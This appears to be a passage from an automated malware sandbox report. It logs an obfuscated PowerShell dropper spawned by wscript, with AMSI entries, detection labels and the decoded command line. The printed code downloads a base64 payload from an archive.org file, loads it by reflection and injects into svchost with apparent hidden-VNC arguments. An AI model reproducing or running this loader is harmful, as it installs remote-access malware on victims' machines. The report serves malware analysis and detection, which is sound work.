Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: $Codigo = 'KCgnezB9dXJsID0gezF9aHR0cHMnKyc6Ly9pYTYwJysnMDEwMC51cy5hcmNoaScrJ3ZlLm9yZycrJy8yNC9pJysndGVtcycrJy9kJysnZXQnKydhJysnaC1ub3RlLXYvRGV0YWgnKydOb3RlVicrJy50eHR7MX07ezAnKyd9YmFzZTY0Q28nKydudGVudCAnKyc9JysnICcrJyhOZXctT2InKydqZWN0IFN5Jysnc3QnKydlbS5OZScrJ3QuVycrJ2ViQ2xpZScrJ250KS4nKydEb3dubCcrJ29hZFN0JysncmluJysnZyh7MCcrJ30nKyd1cmwpO3snKycwfWJpbicrJ2FyJysneUNvbicrJ3RlbicrJ3QgPScrJyAnKydbU3lzdGVtLkNvbnZlcnRdJysnOjonKydGcm9tQmEnKydzZTY0U3RyaW5nKHswfWJhc2UnKyc2NENvbicrJ3RlbnQpO3swfWFzc2UnKydtYmwnKyd5ICcrJz0nKycgW1JlZmxlY3Rpb24uQXMnKydzJysnZW1ibHldOjonKydMbycrJ2FkKHswfWJpbmEnKydyeUNvbnRlbnQpO3swfXR5cCcrJ2UgJysnPSB7JysnMH0nKydhc3NlbScrJ2JseS5HZXRUJysneXAnKydlKHsxfVInKyd1blBFJysnLkhvJysnbWV7JysnMX0pO3swJysnfScrJ21lJysndGhvZCA9IHswfXR5cGUuR2V0TWV0aG9kKHsxfVZBJysnSXsxfScrJyk7ezB9JysnbScrJ2UnKyd0aCcrJ29kLkluJysndicrJ29rZSh7MH1udScrJ2xsLCBbb2JqZScrJ2N0WycrJ11dJysnQCh7MX0nKycwJysnL2dKMWsnKydTJysnL2QvJysnZWUuZScrJ3RzYXAvLzpzcHR0aHsxJysnfScrJyAsJysnIHsxfWRlJysnc2F0JysnaXZhZG97MScrJ30nKycgLCB7MScrJ31kZXNhdGl2YScrJ2QnKydvezF9ICwgezF9JysnZGUnKydzYXRpdmFkb3snKycxfSx7MX1DJysnYScrJ3NQbycrJ2x7MX0nKycsezEnKyd9eycrJzF9KSknKS1mICBbY2hBUl0zNixbY2hBUl0zOSkgfElleA==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?

Obfuscated command line found

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnTnJYdXJsJysnID0nKycgWicrJ0hvJysnaHQnKyd0cHM6Ly8nKydpYTYwMCcrJzEwJysnMC51cy5hcmNoJysnaXYnKydlLicrJ29yZy8yNC8nKydpdCcrJ2Vtcy9kZXRhJysnaC1uJysnb3RlLXYvRCcrJ2UnKyd0YWhOb3RlVicrJy50eCcrJ3RaSG87TnJYJysnYmEnKydzZTY0Q29udGVuJysndCA9IChOZXctT2JqZWN0IFN5c3RlbS4nKydOZXQuV2ViQycrJ2xpZScrJ250KS5Eb3dubG9hZCcrJ1N0cmluZyhOclh1cmwnKycpO05yJysnWCcrJ2JpJysnbicrJ2FyJysneUNvbnRlbicrJ3QgPScrJyBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZScrJzY0UycrJ3RyJysnaW4nKydnKE5yWGJhcycrJ2U2NEMnKydvbicrJ3RlbicrJ3QpO05yWGFzc2VtYmx5ID0gJysnW1JlZmxlYycrJ3Rpb24uJysnQScrJ3NzZW1ibHldOicrJzpMJysnb2FkKCcrJ05yJysnWGJpbmFyJysneUMnKydvbnQnKydlbnQpJysnOycrJ05yWCcrJ3R5cCcrJ2UnKycgPScrJyBOclhhc3NlbWJsJysneS5HZXRUeXBlKFpIbycrJ1J1blBFLkhvbWVaSG8pO05yWCcrJ20nKydldGhvZCA9ICcrJ04nKydyWHQnKyd5cGUuRycrJ2V0TScrJ2V0aG9kJysnKFpIJysnb1ZBSVpIbyk7TicrJ3InKydYbWV0aCcrJ29kLicrJ0luJysndm9rZShOcicrJ1huJysndScrJ2xsLCBbb2JqZWN0W11dQChaSG8wL0U3TycrJzI4L2QvZWUuJysnZXRzYXAvLzpzcHR0aFpIJysnbyAsJysnICcrJ1pIbzFaSG8nKycgLCBaSG9DOk93R1BybycrJ2dyYW1EYScrJ3RhJysnTycrJ3dHWkgnKydvICwgWkhvaHZuY1onKydIbywnKydaJysnSG9zdicrJ2Nob3N0WkhvLFpIb1pIbyknKycpJykgLWNyZXBMYWNlICAoW2NoQVJdOTArW2NoQVJdNzIrW2NoQVJdMTExKSxbY2hBUl0zOS1yZVBsQUNlJ093RycsW2NoQVJdOTItcmVQbEFDZSAoW2NoQVJdNzgrW2NoQVJdMTE0K1tjaEFSXTg4KSxbY2hBUl0zNil8aW52T0tlLWV4UFJlU1NpT04=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('NrXurl'+' ='+' Z'+'Ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/D'+'e'+'tahNoteV'+'.tx'+'tZHo;NrX'+'ba'+'se64Conten'+'t = (New-Object System.'+'Net.WebC'+'lie'+'nt).Download'+'String(NrXurl'+');Nr'+'X'+'bi'+'n'+'ar'+'yConten'+'t ='+' [System.Convert]::FromBase'+'64S'+'tr'+'in'+'g(NrXbas'+'e64C'+'on'+'ten'+'t);NrXassembly = '+'[Reflec'+'tion.'+'A'+'ssembly]:'+':L'+'oad('+'Nr'+'Xbinar'+'yC'+'ont'+'ent)'+';'+'NrX'+'typ'+'e'+' ='+' NrXassembl'+'y.GetType(ZHo'+'RunPE.HomeZHo);NrX'+'m'+'ethod = '+'N'+'rXt'+'ype.G'+'etM'+'ethod'+'(ZH'+'oVAIZHo);N'+'r'+'Xmeth'+'od.'+'In'+'voke(Nr'+'Xn'+'u'+'ll, [object[]]@(ZHo0/E7O'+'28/d/ee.'+'etsap//:sptthZH'+'o ,'+' '+'ZHo1ZHo'+' , ZHoC:OwGPro'+'gramDa'+'ta'+'O'+'wGZH'+'o , ZHohvncZ'+'Ho,'+'Z'+'Hosv'+'chostZHo,ZHoZHo)'+')') -crepLace ([chAR]90+[chAR]72+[chAR]111),[chAR]39-rePlACe'OwG',[chAR]92-rePlACe ([chAR]78+[chAR]114+[chAR]88),[chAR]36)\|invOKe-exPReSSiON"
